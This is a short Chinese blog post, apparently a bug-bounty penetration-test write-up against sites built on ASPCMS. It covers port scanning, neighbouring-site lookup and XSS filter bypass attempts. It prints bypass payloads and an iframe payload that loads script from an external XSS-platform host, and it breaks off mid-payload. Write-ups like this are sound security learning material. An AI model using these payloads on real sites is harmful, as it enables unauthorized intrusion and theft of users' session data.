为了冰箱贴的一次渗透测试

最新推荐文章于 2024-04-10 08:48:16 发布

火线安全

最新推荐文章于 2024-04-10 08:48:16 发布

阅读量927

点赞数

本文链接：https://blog.csdn.net/weixin_40418457/article/details/118304382

版权

本文记录了一次针对ASPCMS建站系统的渗透测试过程，涉及端口扫描、XSS与SQL注入尝试、旁站利用、弱口令攻击和漏洞挖掘。在测试中，作者发现了多个安全问题，包括SQL注入、XSS过滤绕过等，但最终未能深入所有服务器的后台。文章强调了渗透测试的复杂性和挑战性。

摘要由CSDN通过智能技术生成

作者：贝米少年

在漏洞盒子看到冰箱贴不错刷点站

目标：还是建站系统（因为建站系统的客户基本都做seo 大概都是在权1左右正好达标）

Nmap 扫一下端口看到8888知道是宝塔终于不是虚机了。。。 3389开启

尝试访问一下888/pma 8080 8888 8080访问不了

whatweb.bugscaner.com 查询一下服务器信息得知 aspcms

查看旁站 tools.ipip.net/ 点进去看了几个全是ASPCMS

试了一下网上的exp 都没有存在应该都被修复了吧后台也没找到

找到一个框框，尝试XSS 被拦了

使用不常见标签bypass 还是被拦了

burpsuite fuzz 找到几个200 的

在先知找了几个bypass payload 还是有过滤了

<video onkeyup=setTimeout'al\x65rt\x28/2/\x29'''>
<svg onmouseover=setTimeout'al\x65rt\x28/233/\x29'''>

实体16进制编码

WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<script sRC="https://xss.pt/aNWy"></script>>

以上实体16进制编码进行一次URL编码

%3Ciframe%20WIDTH%3D0%20HEIGHT%3D0%20srcdoc%3D%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%26%

关注